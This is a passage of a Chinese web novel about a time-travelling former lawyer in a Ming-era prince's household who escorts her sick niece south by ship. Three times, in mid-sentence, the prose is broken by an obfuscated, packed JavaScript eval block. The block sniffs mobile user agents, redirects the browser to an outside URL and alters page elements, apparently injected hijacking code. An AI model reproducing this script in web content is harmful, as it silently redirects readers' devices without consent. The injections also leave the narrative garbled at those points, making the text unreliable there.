《穿越古代,靠卖冰块富甲一方》 1. 序幕 辽东盖州卫,自官道下行二十里路,遥见山林中三尺宽的溪流,水面清澈透亮,如同琉璃浮于石床之上,蜿蜒曲折,绕山半周后,径直流进山林低洼处,汇成一面湖,名为“洛泽”。 这山、这湖都是康显郡王府的私有,方圆几百里唯一的朱姓人家。 因地位尊崇,加之康显郡王第二任正妻,为辽东进贡野山参的富商之女江氏,府中人平日总是肥马轻裘、锦衣玉食。 郡王岁支禄米数额两千石,良田一百万亩,住宅、商铺更是多不可数;府中上下一百来人,吃穿用度、月俸、往来礼金等,纷繁复杂,全靠康显郡王妃江氏的一支笔杆子,一笔一画、有条不紊记录于帐簿之上。 江氏深居简出,与王爷相敬如宾,并不恩爱。外界多有传言,认为江氏貌丑但贤德,持家有方,颂称江氏为江嫫母。 但她本人并不乐意得此“美名”,相貌美丑倒是次之,历史上的嫫母是次妃,拿江氏比次妃,难道要把那个无名无分的侍妾比作正妃? 若是听见下人如此议论,江氏必然要严厉喝止,甚至罚那人一个月的月俸。 江氏管理家中事务时,身边总伴着一位年轻女子,眸子如清澈的溪水,行为举止却老成持重。 这女子名为江清月,自七岁时父母双亡,来了这康显郡王府投靠家姐,如今已经十一七,熟读诗书经纶,善算数,江氏有意将其带在身边,“阿妹,多瞧瞧,将来你若是嫁了人,便也会像我这般,操持一大家子事情,那时不至于手忙脚乱。” “阿姊,你这不是揶揄我么?我将来若是嫁个伐木的、泅水的,天天砍柴、渡船,可就没这些烦心事。” 江氏掂了掂笔,说:“只要人好,管他是伐木的还是泅水的,说不定比嫁进郡王府好。” 江清月连忙捂住江氏的嘴,左右看了看四周的丫鬟。 “阿姊,说者无意,听者有心。” 江氏抬了抬眼皮,俨然摆出一副认真模样,“两姊妹间的玩笑话罢了,难道被谁偷听了去,还能厚脸皮,去参我一本不成?” 房间里的几名丫鬟低着头交换眼神,似乎谁都不想承担这个罪名,默默退到了门外。 未见其人,却听见一阵银铃响,穿着红绸缎、头系红花的新妇推门走了进来,手里端着一壶茶,脸上还挂着明媚的笑,“娘,请吃茶。” 江氏先是愣了一下,眼光上下流连几番才记起,忙接过茶盅,摆手让新妇坐下。 “瞧我这记性,昨日吃了酒,今早一起来,全然忘记了这事。” 李钦语弯眉含笑,身体前倾,一双白皙丰腴的手很娇羞地交叠搭在腿上,手腕上的银铃串叮叮作响,叫人挪不开视线。 “这是我们家乡那边的规矩,娘或许不知道。” “听闻你的家乡,在湖淮一带?” “在广州府出生,应天府长大,后随迁都一路北上,来了辽东便是辽东人。” “都说‘湖淮熟天下富’,瞧你身上的布料,想必是江南产的绸缎吧?” 李钦语闻言,立即站起身来给江氏瞧,“娘若喜欢,我给娘定几匹上好的龟背纹丝绸,据说京都那边可流行这种花色了。” 江氏摆了摆手,“我年纪大了,大门不出二门不迈,哪还用得着这些?你若真有心,给家里弟弟妹妹——还有你月姨母准备几套,她们穿得漂亮才是正经事。” “是的,是的,要给姨母准备着。” 江青月脸一红。 虽然和这新妇差不多年纪,但由于江氏的辈分,李钦语只得跟着大郎一起称江清月为姨母,她着实有些羞赧,连忙说道:“我、我也不要这些东西。” 江氏看了看江清月,又看了看李钦雨,心里似乎有个疙瘩,叹了口气,借着要继续打点家中大小事务的名义,请回了这位新妇。 待人走后,两姊妹又议论起来。 “原本以为是娇生惯养的深闺小姐,没想到还挺会处事。” “阿姊,可我还是觉得有些奇怪。” “哪里奇怪?” “李钦语再怎么说也是李家的人,如果用我前世那边的俗话来讲,就是‘儿子娶了老子小情人的亲戚’,怪怪的。” 江清月是穿越来的,或说重生,她自己也拿不清楚这两者的区别,更不知道自己前世是昏迷了,还是已经去世了。 那时正值江家吊唁,江清月带着现代的记忆来到这具身体,睁眼,只见一大帮远房亲戚急赤白脸,盘算着争夺江家的遗产。 若只是七岁孩童,自然无力应对眼前局面,但好在江清月前世是律师,原本就能说会道,直率刚断,亦无古时这般羞赧和弯弯绕绕,当着一众亲戚就敢大拍桌子,呵斥阻难,最后硬生生撑到江氏回来主持公道,才没让这群人得逞。 也在那时,江清月同江氏很诚实地讲述了自己的由来。 江氏从遥远的记忆中回过神,忽然正经起来,“这事儿只能你知、我知,断不能给旁的什么人听见。” “放心,我谨慎的很,是瞧这房间里没人才说的。” “不过你这话说得可真逗,‘儿子娶了老子小情人的亲戚’,想想确是这样。” “原本郡王爷事事顺着那侍妾,也一并看重三姑娘淇姐儿,现在连大郎的新妇也是李家人,康显郡王府可是要水深火热了。” 江氏嘴上说得极其严重,实则不以为意,依旧摆弄着她的账簿。 “阿姊,你真不觉得李善俪这步棋,走得太刻意了些么?” “她刚进府时就一心打量郡王妃的位置,可这多年过去,她不还是没得逞么?况且,你长大了,潼姐儿也及笈,将来你们都会离开郡王府,只我一人在这,给口饭吃就能活,其他也没有什么好操心的。” “那我不嫁人了,也留在这郡王府,你吃什么我便吃什么。” “女子总归是要嫁人的。”江氏伸出食指,刮了一下江清月的鼻梁,“难道你想留在这里当老姑娘?你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047609|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不嫌丢人,我还嫌丢人呢。” “谁说不嫁人就丢人了,况且我才一十七,还年轻着呢。” “大郎的媳妇——李钦语今年也才一十七,算上月份,比你年纪还稍小些呢。” 江清月把手中纸笔一放,假装怄气要离开,走到门口时,见路的尽头,四姑娘正朝这边走来。 门外青草长了一茬又一茬,蝉鸣声依稀,只能听个朦胧的响。 这里的夏季不算热,仿佛严寒只是躲在石缝里,从未真的离去,没有日光的地方总残留着湿冷气息。 朱潼揉着膝盖,撑着木棍一瘸一拐,慢悠悠走过浅浅的草皮,在众人搀扶下进了房间,还没站稳就找椅子坐下。 大郎朱溯、二郎朱泓都是前一任郡王妃所出,三姑娘朱淇则是康显郡王爷在兖州同李善俪生下的女儿。 虽这几个孩子如今都在江氏名下,但大郎二郎心系他们死去的母亲,淇姐儿自然同自己的生母李善俪更亲近。 真正被江氏一手带大的,只有四姑娘朱潼。偏偏潼姐儿身体又最不利索,自小体弱,五岁那年因下人不慎,落进冰湖中患了腿疾,每逢湿冷季节,腿便僵直不可弯曲,酸痛乏力,甚至疼痛不已,府中遍访各位名医,均无功无过。 江氏忽然想起晨来拜访小媳妇,心生一个念头,不知当讲不当讲时,已然默默念了出来:“若是去到温暖的地方,潼姐儿的腿疾可有缓解?” 江清月立刻反应了过来,“你是说,让四姑娘到南边儿去?” “听说南边风和日丽,碧空如洗,青年人傍河对唱,好不热闹!若真同大郎媳妇所说,南下对潼姐儿未必不是件好事。” 朱潼俯身揉了揉膝盖,眼里亦透出一丝亮光,可嘴上仍说:“我连这王府都走不出,哪儿有可能南下呀。” 江清月看着踌躇的两人,接话道:“潼姐儿有木车,走水路下广州,应该没大问题。” 江氏唤来丫鬟,忙打听康显郡王爷的去处,恨不得下午就出发,带潼姐儿去暖和的地方休养。 “郡王爷一早乘马车去槐花酒楼看戏去了,不知多久能回。” 江氏脸色沉了一下,虽然夫妻二人向来是各过各的,互不过问,但大郎昨日成亲,家中剩一大堆烂摊子要收拾,他竟带着侍妾潇洒快活去了。 朱潼有些嗔怒,弯弯的眉毛扭作一团,拍腿说道:“又是李善俪这个花狐狸,骗的爹爹团团转。” 江氏皱眉,江清月见她脸色不对,急忙转移话题,说道: “阿姊,既然康显郡王爷不过问家事,那又何须他做主?就算不靠郡王府,只雇一辆船南下,又何来难处呢?” 江氏虽处理家事得心应手,但在大事的决择上总显得优柔寡断,她想了又想,说:“这一趟山高路远,没个一年半载都回不来,还是得郡王爷做主才行。” 几人正愁眉苦脸间,江氏的贴身丫鬟黛钗急匆匆进来报信。 “夫人,郡王爷回来了。” 2. 商议 康显郡王府内有间专门用于话事的内厅,为林氏(亦即是大郎、二郎生母)亲自监工修建、装潢,并提名为“家事阁”,如其名,用于家庭成员内部商议大事用,更常用于家族之间维系感情。 但自林氏去世后,家中并无多少事可议,渐渐地便荒废了,即使丫鬟每日都会前来清扫,仍然避免不了“家事阁”的冷清气息。 江氏、江清月和朱潼作为“求人办事者”,一早就在厅内坐定。 二郎朱泓从学堂赶来,手里还卷着本《淮南子》。 三丫头朱淇和李善俪手挽手随后而来,江氏见侍妾大摇大摆进了“家事厅”,面不怒而心怒。 大郎朱溯和新妇李钦语姗姗来迟,伴着笑声而来的还有那串银铃响声,二人如胶似漆,似乎刚度过一段甜蜜事,坐在厅内还不忘眉目传情。 最后到的是康显郡王,来之前他在门口踌躇了许久。曾经他与林氏可谓是伉俪情深,一家人曾在这“家事厅”度过了不少美好的时光。但自林氏去世后,每每经过这里时,都不免神伤。 “郡王爷。” 众人纷纷起身,以示尊敬。 康显郡王爷刚一进门,就咳嗽个不停,不耐烦地吩咐下人开窗通风,可刚打开窗户,初夏的还带着些冷气的风灌了进来,久了,吹的人受不住,只好挥手又让人把窗关上。 江氏斜睨了一眼,黛钗即懂了夫人的意思,从袖口中取出一本帐簿,其中最赫然的莫过这张红票,恭敬奉给郡王。 康显郡王草草翻了几下,“家中事你做主就好,我无须过问。” “大郎媳妇刚进门,我心想着把家中各项旧账都算算清楚,将来钦语接手时,不会因为无从考证而犯难……” 康显郡王抬眼看着江氏,江氏本无他意,王爷却会错了意。 他以为江氏在怨自己给大郎娶了李家的姑娘,在借机试探是否要把当家的权力转给李氏,于是连忙把账簿丢在桌上,令黛钗来取走,“大郎媳妇还年轻着,担不起这个大任。” 李钦语见爹爹都这样发话了,也忙下场表明态度,“是的,是的,要跟在娘身边磨砺,替娘分忧,但万般不敢有别的想法。” 由此,气氛变得有些拘谨起来,江氏对这一唱一和的局面不作回应,只继续着自己的话。 “全部整理过一遍,我这才知道,咱家在广州府那边还有套小宅,又想着潼姐儿的腿疾因寒气入体所致,我心想,若是能到个气候宜人的地方住段时间,对她或许能有好处。” 郡王爷摸了摸胡须,面向李钦语:“广州府……那边的气候,果真比盖州卫好?” 有了方才的警示,李钦语既不敢得罪郡王爷,亦不敢得罪当家主母,一时间拿不定主意,局促扭捏,不知道如何回答。 李善俪见李钦语如此不堪用,便替她挡了这话茬,说:“若是喜凉的人,去了那边儿自然不合适,但四丫头的病喜热,那边气候宜人,温暖舒适,若能住上一段时日,是再好不过的了。” 康显郡王爷回头看向一旁的李善俪,若有所思点了点头。 江氏从黛钗手里接过帐簿,说道:“可潼姐儿年龄尚小,又从未出过远门,我不放心她独身前去。” “没说让她独身前去,多带些侍卫、丫鬟,或者,把洪嬷嬷带上,她有分寸。” “仅带些下人,如何能放心?潼姐儿是我的孩子,我也一同去。” 康显郡王的面容瞬间转怒,皱眉拍桌子道:“四丫头是你的孩子,这大郎、二郎和三姑娘就不是了么?这郡王府又不是没人了,你要自己去。” 他的话语中几分是对江氏的抱怨,更多的则是担忧。 一则江氏自身背着郡王府的财源命脉,得是她这么多年的操持才能维持郡王府几近奢靡的生活。 二则怕落得名声不好。按照当今律令,郡王爷有嫡子,正妻康健,本不能再纳妾,但心系李善俪带着六岁的独女在兖州艰难度日,加之李家人的威逼利诱,康显郡王只能偷偷将这对母女接了回来,以侍妾(实则无名无分)待在郡王府内。 府中凭空出现二人,早引得外界猜疑数年,若郡王妃如今带着朱淇远走他乡,不管原由为何,必然以为康显郡王重色忘义、荒淫无度,为侧室逼走了“江嫫母”。 在府中,他如何骄纵侍妾都无所谓,但一旦出去便不得不顾忌,康显郡王愈想愈挂不住脸,连忙摆手否决,说:“洪嬷嬷可是你从江家带来的体己人,她你都信不过吗?” “洪嬷嬷年岁已大,手脚无力,潼姐儿不谙世事,不能自理,一众老弱幼小,手里捏着几张红票白票,官人难道就能睡得安稳么?” 康显郡王叹了口气,摆手间注意到厅内的其他人。 “府上这么多人,挑一个你堪用的。”他指了指对面端坐的朱溯,“让大郎带四姑娘去,堂堂男子汉,连远门都没出过,像什么话?是该走动走动了。” 朱溯和李钦语面面相觑,两人似乎极其不情愿,又不敢发作。 江氏斜睨了一眼,淡淡地说:“大郎刚成亲,抛下新婚妻子下江南,传出去叫人笑话。” “那就泓哥儿去,读万卷书不如行万里路。” 朱泓刚要应答,被江氏抢先一步回道:“二郎可是这郡王府内唯一有机会走仕途的人,翻过年就要进京赶考,南下耗时耗心力,更不妥。” 这话不仅暗指朱溯,实则也在内涵郡王爷,他有些不耐烦,看着面前退缩的朱淇,气不打一处来,本没想推她出去的,也顶着怨气说了几句,“三丫头去,姊妹之间互相照料,天经地义。” 朱淇沉不住气,连连摇头,撒娇地说:“我不要去,爹爹,这一趟不知多久才能回,说不定病没治好,把女儿给熬成黄脸婆,这还怎么嫁人呀……四妹妹,你这腿疾也不是一天两天的事了,去了广州府也不见得好,不如就留在府上安心修养,让爹爹给你指个不嫌弃你身子的好人家。” 李善俪拉了下朱淇的袖子,示意她不要再说下去。 江清月同朱潼一同长大,情谊深厚,自然无法容忍旁人如此折损自家人,呛话说道:“治病是为了自己,不是为了嫁人,淇姐儿这话莫要传出去,让人以为康显郡王府是卖女儿的腌臢地。” 一时间众人语塞,康显郡王的脸色更是尤其难看。 但还没等其他人发作,江氏起身扇了江清月一巴掌,场面瞬间冷了下来。 江氏的手指微微颤抖,语气却十分坚定,对着江清月说道:“事关官家的名声,岂容你在这污言秽语。” 江青月看着一向温柔的阿姊,她的嘴唇微微颤抖,只好低下头去,把脸默默撇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047610|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向一边。 康显郡王本是这场对话中最该动怒之人,但既然江氏已经代他教训,心中的怨气便瞬间消散了大半,反而作出一副大度模样,充当起和事佬。 “好了,这次会面,本就是家族会议,大家关起门来,自个讨论的,便也不需要太拘泥于那些规矩。郡王妃提出四丫头的事,我确也觉得有必要,到时候我再留意留意有无合适之人,今天就先散了吧。” 朱溯和朱淇早就如坐针毡,听见“散了”的讯号,立马紧跟着郡王爷离开了“家事阁”。朱溯走之前还不忘伸手去拉李钦语,但被对方委婉拒绝,当下就跑去找自己的娘家人李善俪商量去了。 李善俪将李钦语带回她的房间内,两人盘算起这件事来: 若江氏同四姑娘下广州府,这郡王府后院的大小事,纵使郡王爷不情愿,也得交到李钦语手上。但新妇哪懂得持家,就不得不“请教”李善俪,如此一来,她便能名正言顺管理起这间郡王府了。 可惜短时间内并未如她们所愿,当晚,江清月便找到江氏,向她说明了自己的主意。 江氏将江清月拉到内屋坐着,她虽不言语,但眼神却紧紧盯着对方的脸颊,似乎在寻找着那一巴掌可能存下的印记。 江清月握住江氏的手,拉到她的膝上放着,说道:“阿姊,别看了,你只是轻轻拂了一下,哪儿会有什么痕迹。” “咱们郡王爷是位自尊心极强的主,容不得一点儿僭越的话,清月,你别怪阿姊无情。” 江清月自然知道江氏的用意,轻轻摇了摇头,嘴上回忆道:“阿姊,你听我说——前世于我而言已过去十年,时常觉得那只是一场梦,自己只是一十七的少年人,所以做出许多幼稚举动。但算算日子,我度过的年岁,其实和阿姊的年龄差不多大了。” “心里的年龄都是假的,只有身体的皱纹和瘢痕是真切的。” “我时常觉得淇姐儿被李善俪惯坏了,让她变得如此骄纵,但下午我想了许久,惊觉自己其实也活在阿姊的荫蔽下,过了十年安稳日子,不知不觉亦变得怠慢。” “不是你怠慢,只是太重情义,用错了方式。” “幸运在于,李善俪不分是非、替淇姐儿处理那些烂摊子的时候,您却是在不断修正我将走错的方向。” 江氏苦笑,身体微微后倾,说:“怎么突然讲得文邹邹的?我倒有些不习惯了。” 江清月握了握对方的手,一字一句地说:“阿姊,让我伴潼姐儿南下吧。” “可……” “我既是这几个孩子的长辈,又习得御事之术,虽脾气硬了些,但出门在外未必不是件好事……更重要的是,这家里除了您,只有我会一心一意对待她,我同她一起去,是再合适不过的了。” “清月,我在这世上,只有你和淇姐儿了,万一有个什么三长两短……” “呸呸呸,您不是说,不能讲不吉利的话么?” 江氏拉着江清月的手,冰凉的手指不断摩挲着江清月的手背,她有些哽咽,话涌到嘴边,却又化成一声叹息。 江清月微微笑,眼神坚定,笃定这趟南下不过是人生中一场简单的旅行,就如同相信明天太阳会照常升起一般,全然不知命运的反复无常。 “阿姊,我一定会带淇姐儿健康回来的。” 3. 临行 临行前,江氏亲力亲为,小到行李清点,大到关系打点,一桩桩、一件件事情全有她做主,一刻都闲不下来。 府中人眼见郡王妃如此,便也不敢懈怠,忙跟在江氏身后,或是帮忙跑个腿,或是干点力气活,郡王府上上下下都忙碌了起来。 连一向不怎么掺和家事的郡王爷,已经好几天没去看戏,虽然依旧不干实事,但总会神出鬼没,时不时就在众人面前露个脸。 旁人都称赞郡王爷勤劳,江氏却客气待之,并不领情。 这一切恩怨还要回到当年江家出事时,也就是江清月刚穿越来这个时代的那年。 江家父母不明原因暴毙双亡于商路途中,除了年幼懵懂的七岁孤女外,再无其他长辈可做主,江氏悲痛之余请求康显郡王随同她一齐回到江府,却被他一句撇脚的借口搪塞了回来。 最终江氏孤身一人回去面对一众恶亲戚,康显郡王竟趁这离家的间隙,去兖州见了李善俪母女。 郡王府恰逢两位主事者都有事,流言四起,下人们懒散懈怠。 照顾潼姐儿的嬷嬷临夜喝了酒,昏睡了过去,没料到五岁小孩竟自己跑出了门,掉进冰湖,酿成悲剧。 如今郡王爷这番刷存在感,便是有意洗脱自己当年对四姑娘的亏欠,同时,也想在外人眼前展现出他“慈父”的形象。 深知丈夫为人的江氏如何能感动?只不过逢场作戏,彼此保留体面,陪他演下去罢了。 青石板路前乌泱泱站着一大群人,除了李善俪不便露脸,朱家人久违地齐站于府门前送行,声势浩大,生怕谁人不知康显郡王的嫡女正要南下治病。 朱淇站在队伍的最前面,她将扇子拢在面前,低头娇羞状,似乎今日心思全然不在送行,而是要来给人瞧,却又不让人瞧似的。 江清月路过她时,在心里结结实实翻了个白眼。 “今个是芒种,仔细算来,想必小暑才至广州府,将是一年当中最热的那段日子。” 江氏亲自打点着海航的物资,特意挑了两个干活利落的伙计、三个随行的丫鬟,还有一位稍年长一些、撑得住场面的兰姑,一应塞进她们行走的队伍中去。 她依依不舍,一手拉住江清月,一手挽着朱潼,眼神在目送她们,手却紧紧握着,泄不了劲,“每靠岸一个地儿,记得给家里来封信,报平安。” “阿姊,我这一走,府中都没人帮你算账了,你可别太累,多保重身体,许多不要紧的事情交给下人就是了,别总揽给自己。” 江氏苦笑了下,转过头叮嘱起朱潼。 “潼姐儿,要听你姨母的话,安心养病。” “放心吧,母亲,我已经是个大姑娘了。” “是的,是的,你们都是大姑娘了。” 在宅门口缠缠绵绵半个时辰,头辆马车甚至没走出街道,最后是行船的人前来催促,这一行人才真正上路。 其他人都回了府,只派了个朱泓作代表,一路将她们送至码头。 朱泓坐在车厢的左侧,江清月同朱潼坐在右侧,他们面对面而坐,头却默契地偏向前方,看着并不明朗的道路。只是偶尔简单寒暄几句,连眼神都不曾对上。 几人虽在同一屋檐下长大,但并不熟悉,即使同一桌用膳,彼此也鲜有话可讲。 江清月同朱泓的关系则更为微妙,康显郡王总在他们面前提起他那“肥水不流外人田”的观念,曾把撮合江清月和大郎的话当玩笑话讲。 可大郎同他父亲一样,偏爱妖娆妩媚的女子,心早被李钦语勾走,这桩事自然不了了之。 但康显郡王并不灰心,又打起二郎的主意,江氏这才知道他竟然是真心有意之,遂在她严厉反对下,郡王爷才彻底打消替两个儿子盘算的想法。 这事虽没抬上台面来讲,但作为当事人的江清月和朱泓多少知道一些,虽没放在心上,却也得避嫌。 一直到今日,江清月要出远门,二人才终于有机会多说几句话。 “翻过这山头,便要到岸边了。姨母,四妹妹,此行路远,请务必注意身体。” 江清月低着头,嘴里轻轻说:“泓哥儿,此次分别一年半载,若是中榜,也记挂着我们远在广州府,来封信告知。” 朱泓侧过头注视江清月,浅浅笑着,顿时又觉得不合适,连忙咳嗽几声掩盖了过去。 江清月自然感觉到他异样的眼光,但只装作不知,定定看着外面的景色。 “清月。”朱泓从袖口拿出一只浆洗过的荷包,小心翼翼递给江清月,“这是我在崇山寺祈来的,说是能护佑佩戴者安康,愿你们能早日归来。” 朱潼咳嗽了一声,那两人立即错开视线,耳根子红红的。 “二哥哥好偏心,只给姨母,不给妹妹么?” 朱泓连忙从袖口里掏出另一个,塞进朱潼手中,“有的,有的,我特意讨了两个。” 江清月接过那只依稀还带有皂香的荷包,心中似乎也有着别样的感情,却不好意思表露出来。她跳下马车,忙着招呼其他下人,不再搭理朱泓。 将所有行李都搬上船舱后,江清月站在船舷边,遥遥看向岸边的朱泓。 他一脸忧思地看向她们,等发觉她的目光也投向自己时,便勉强地挤出一丝笑意。 这位文质彬彬的书生既不像他那风流的父亲,也不像热情妩媚的生母,虽善读百书,通识大道理,却对男女之事尤其迟钝。 他一直默默欣赏江清月身上那种坚韧又反叛的神态,却碍于世俗条条框框而不善于表达,直到真正分别的这一刻,朱泓才意识到自己似乎对江清月有些别样的感情。 但他仍是不说,只能把浆洗过不知几遍的荷包以祈福的名义交给她,站在岸边看船驶去,身影一直模糊、渐小,直到再也看不见,才依依不舍地打道回府。 江清月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047611|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是经历过自由恋爱的人,她当然知道朱泓压抑着的面容下的真意,但她经历过太多算计与无奈,在压抑中过活,不愿后半生陷进朱府的泥潭。 可当江清月站在船头,隔着深沉的海面眺望岸边时,她忽然觉得这一切又是那么渺小和微不足道,只有瞬间的感情是那么的真实。 “姨母,看什么呢?二哥哥都走远了。” 朱潼撑着木拐杖,倚靠在桅杆旁,看向江清月视线投去的地方。 江清月低头,回身走进船内,一边走还一边嘀咕道:“你个黄毛丫头,乱说什么呢。” “姨母莫要生气,我同你玩笑罢了,娘亲说爹爹是乱指鸳鸯谱,我全然明白这其中的道理,怎么会当真呢。”朱潼笑脸盈盈,跌跌撞撞跟在姨母身后,“不过,我倒是好奇,像我二哥哥这样的才子,若是中榜,想必辽东的媒人能踏破咱家的门槛,真不知道是哪家姑娘会进咱家的门。” 江清月想起郡王爷曾说的那些糊涂话,心里又羞又恼,清了清嗓子,赌气般说道:“泓哥儿若去了京城,十步一个县主,百步一个郡主,康显郡王还怕没得选么。” 朱潼扶着墙壁慢慢坐下来,对着窗外叹息道:“我真羡慕这些姑娘,还能够仔细挑选中意的情郎,似乎未来还能有无限风光。我却……哎,不说了。” “这事我回去真得跟你娘好好说说,上次借着走亲戚实则来说媒的那家人,竟然想将你许给一个连字都不认识的傻汉子,还敢说什么般配?简直欺人太甚。” “娘对此不也是发了很大火气么,她也不舍得我受欺负。” “要我说,讲什么礼仪、客套?就该连人带物一起撵出去,让十里八街想要攀高枝的人家趁早死了这条心,方能杜绝这些不良媒人的出现。” “没办法,在外人眼里我就是个身体不好的瘸子,既不能持家,讲话还不伶俐,不像三姐姐八面玲珑,又精通琴棋书画,爹爹如此宠爱她,想必会为她挑选一家再好不过的夫家。” 江清月打心里并不喜欢李善俪母女,自然不会说什么好话。 “我见着不一定,朱淇那丫头虽记在康显郡王妃名下,但那些媒人可精着呢,心里门清的很,正派人家只要稍微一打听,便能知道她来历不明,不敢接进家门。她们娘俩也就仗着郡王爷怜爱,在府中逞几年威风罢了。” “是啊,爹爹对外说我和三姐姐是双生子,但她六岁才来府上,明眼人都知道是怎么个情况!” 朱潼眼睛一转,“姨母,你未来若是嫁人,能不能把我带走呀,我给你当贴身丫鬟去。” “我不嫁人,你也来当我贴身丫鬟,如何?” 朱潼俏皮地点了点头,依偎在江清月身旁,“好啊,月俸记得给我开高些。” 船缓缓驶于碧波之上,天色渐暗,岸已不可见。天空和海面的界限越来越模糊,几乎连成一片。偶有几只海船泊过,船上的几人开始犯了困。 4. 插曲 “前几天还好好的,怎么现在反倒不适应了?”江清月抚着朱潼的背,召来随行的丫鬟珠儿,“马上船就靠岸,你待会儿下去时,看看附近有没有集市,给潼姐买些酸果子上来。” 这几日吃了便吐,胃里已无食物,朱潼先是咳嗽几声,又对着木桶干呕,只能吐些黄色的苦水。她有气无力地坐在床沿边,眼睛似睁又闭,面色苍白。 “想必是在海上吃不好、睡不好,久了身体遭不住,晕船了。” 江清月将朱潼扶上床,用绸巾仔细擦过她的脸,朝窗外看去,“就快到登州了,不如先在当地休整几日,再行商议。” “姨母,我撑的住。”朱潼勉强撑起身来,“我担心上了岸后,心中念想着那些苦,生了畏惧之心,就不敢再乘船。” “可是……” 朱潼的脸有些水肿,只能勉强挤出一张似笑非笑的脸,说道:“若是受几日眩晕便能治好腿疾,我恨不得再快一点去到广州府。” “走不了水路,还有马路;今夏到不了,将来还有炎日;广州府不便去,其他地方也大差不差。何须如此着急,巴巴的赶着去受苦。” “姨母,你不晓得——” 她咳嗽两声后说道: “无数次午夜梦回,落水的场景历历在目,我多后悔那一日踏出了房门,落得个残疾。府中每次来人,爹爹总让我提前入席,早早的就坐,我知道他并非心疼我年幼,而是耻于让旁人看见我的窘态。爹爹还说,偏心三姐姐是为了她们母女在兖州受了六年苦,可我何尝不苦?他却一句带过。” 江清月不知如何安慰,只能拉住朱潼冰凉的手,劝说道:“你爹偏心,不是因为你不够好,而是他为人不好,既想明白这一点,又何须纠结?” “姨母,你没见过我小时候,我五岁前可谓是飞扬跋扈、骄纵刁蛮,常常搅得府中鸡犬不宁、人仰马翻,但奇怪的是,那时人人都爱我。”朱潼眨了眨眼睛,眼神却空洞,一滴泪沿着面庞滑落,她的声音有些哽咽,顿了顿说:“后来,我变得安静,懂得收敛,知道尊重长辈、善对他人,可他们却都明里暗里厌恶我的不便。” 江清月亦如鲠在喉。 “我知道爹娘想了许多办法治疗我这腿疾,在一次次失败后我也灰了心,直到坐上这艘南下的船,不知怎地,忽然又燃起了希望。姨母,这一次我真的觉得我的腿能好了!” 朱潼的眼眸亮闪闪,如同星光洒在海面上一般,却叫江清月不敢直视,遮掩似地瞥开了目光。 “一定会有办法。” 忽然,船身震荡一下,再朝外看去,一望无际的海面被车水马龙的景象取代,岸上的小贩的叫喊声、来往过路人的喧哗声不绝于耳。 久在船上不见黄土的江清月难掩激动,也想下去热闹一番。但又想到床榻上需要人照顾的朱潼,她轻手关上窗,假装并不在意外面的风景。 朱潼抬眼看着姨母,自然知道她的心思,于是开口催促道:“姨母,我没胃口,就想吃点果脯,丫鬟们不懂吃,你能去给我买点儿回来么?” 江清月眨了眨眼睛,欲言又止,说道:“我已经吩咐珠儿去买了。” “可是,珠儿不知道我们平日里喜欢的是哪种,果脯种类可太多了,要是她没买回来我爱吃的那种,我就又要饿一路了。” “不错,要那种买个头大的梅子蜜饯。”江清月心底知道朱潼的好意,再推辞只能寒了她的心,便顺着说了下去,“那我亲自去买,你在船上好好休息。” 朱潼莞尔一笑,点了点头。 江清月匆匆赶回厢房内,原想换身衣裳再出门,但一想到靠岸时间仅有半个时辰,对着铜镜梳理了一番,便急匆匆要下船。 刚要到甲板处,花芸早已在此等候多时,她从背后叫住江清月,叮嘱道:“月姑娘,我听说船家说,这一带近来有不安生的事,让花芸陪姑娘一同去吧。” 江清月回头看了看船舱内,说道:“珠儿已经下船了么?” “刚一到岸,珠儿便走了,兰姑和灵玲在船内伺候四姑娘。” 江清月又看了看岸上的景象,街上人头攒动、摩肩擦踵,一想到自己也是头一次出远门,于是便答应了带花芸同去。 下到街里,这里的民俗氛围和辽东那边并没有本质的区别,但在码头边的缘故,街上来往许多年轻人,行走在这样的气氛中,江青月也不自觉地注意起自身的形象,她暗自整理了下衣裳,问道:“花芸,我这一身还算得体么?” “月姑娘人长得俊俏,穿什么都漂亮。” 江清月瞧了花芸一眼,这才发现她穿着一身绸缎的淡粉色兰花纹衣裳,发髻高盘起,钗着当年江氏打赏给她的珊瑚石发簪。 花芸是府中的家生子,父亲是郡王府的吴管家,自幼跟小姐们一起长大,爱美惯了。 江清月不是那种古板严苛的主子,心里本不在意,只是上下瞧了一眼,花芸便接话道:“爹爹说我们此番出行,代的是康显郡王府的名头,让我处处留意着言行举止和相貌,月姑娘若觉得不妥,花芸马上换了去。” 说罢,她便自顾自要摘下那发簪。 “你爹爹说的对,既走出盖州卫,就得顾及康显郡王的名声。”江清月不想再耽搁时间,于是按下花芸的手臂,夸赞说道:“你肤白,戴这簪子好看。” 